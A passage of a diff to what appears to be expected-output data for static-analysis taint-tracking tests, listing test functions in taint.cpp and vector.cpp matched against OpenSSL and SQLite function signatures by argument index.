taint.cpp:822:6:822:19 | take_const_ptr | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (STANZA *,const char *) | | test_start_file | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | Configcmp | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | DES_crypt | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | OPENSSL_strcasecmp | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | get_passwd | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | openssl_fopen | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | ossl_pem_check_suffix | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | ossl_v3_name_cmp | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | sqlite3_strglob | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | sqlite3_stricmp | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | test_mk_file_path | 0 | +| taint.cpp:822:6:822:19 | take_const_ptr | (const char *,const char *) | | test_mk_file_path | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:822:6:822:19 | take_const_ptr | (unsigned long *,const char *) | | set_name_ex | 1 | +| vector.cpp:13:6:13:9 | sink | (int) | | ASN1_STRING_type_new | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | ASN1_tag2bit | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | ASN1_tag2str | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | EVP_PKEY_asn1_get0 | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | Jim_ReturnCode | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | Jim_SignalId | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | OBJ_nid2ln | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | OBJ_nid2obj | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | OBJ_nid2sn | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | OSSL_STORE_INFO_type_string | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | OSSL_trace_get_category_name | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | PKCS12_init | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | Symbol_Nth | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | X509_PURPOSE_get0 | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | X509_PURPOSE_get_by_id | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | X509_TRUST_get0 | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | X509_TRUST_get_by_id | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | evp_pkey_type2name | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | ossl_tolower | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | ossl_toupper | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | pulldown_test_framework | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | sqlite3_compileoption_get | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | sqlite3_errstr | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | tls1_alert_code | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | tls13_alert_code | 0 | +| vector.cpp:13:6:13:9 | sink | (int) | | wait_until_sock_readable | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ASN1_STRING_type_new | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ASN1_tag2bit | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ASN1_tag2str | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | EVP_PKEY_asn1_get0 | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | Jim_ReturnCode | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | Jim_SignalId | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | OBJ_nid2ln | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | OBJ_nid2obj | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | OBJ_nid2sn | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | OSSL_STORE_INFO_type_string | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | OSSL_trace_get_category_name | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | PKCS12_init | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | Symbol_Nth | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | X509_PURPOSE_get0 | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | X509_PURPOSE_get_by_id | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | X509_TRUST_get0 | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | X509_TRUST_get_by_id | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | evp_pkey_type2name | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ossl_cmp_bodytype_to_string | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ossl_tolower | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | ossl_toupper | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | pulldown_test_framework | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | sqlite3_compileoption_get | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | sqlite3_errstr | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | tls1_alert_code | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | tls13_alert_code | 0 | +| vector.cpp:16:6:16:37 | test_range_based_for_loop_vector | (int) | | wait_until_sock_readable | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | ASN1_STRING_type_new | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | ASN1_tag2bit | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | ASN1_tag2str | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | EVP_PKEY_asn1_get0 | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | Jim_ReturnCode | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | Jim_SignalId | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | OBJ_nid2ln | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | OBJ_nid2obj | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | OBJ_nid2sn | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | OSSL_STORE_INFO_type_string | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | OSSL_trace_get_category_name | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | PKCS12_init | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | Symbol_Nth | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | X509_PURPOSE_get0 | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | X509_PURPOSE_get_by_id | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | X509_TRUST_get0 | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | X509_TRUST_get_by_id | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | evp_pkey_type2name | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | ossl_cmp_bodytype_to_string | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | ossl_tolower | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | ossl_toupper | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | pulldown_test_framework | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | sqlite3_compileoption_get | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | sqlite3_errstr | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | tls1_alert_code | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | tls13_alert_code | 0 | +| vector.cpp:37:6:37:23 | test_element_taint | (int) | | wait_until_sock_readable | 0 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | BN_clear_bit | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | BN_mask_bits | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | BN_set_bit | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | BN_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | bn_expand2 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | bn_wexpand | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | BIO_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | BIO_find_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | BIO_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | BIO_set_init | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | BIO_set_retry_reason | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | BIO_set_shutdown | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (BIO *,int) | | TXT_DB_read | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (DH *,int) | | DH_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (DH *,int) | | DH_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (DSA *,int) | | DSA_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (DSA *,int) | | DSA_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| vector.cpp:333:6:333:35 | 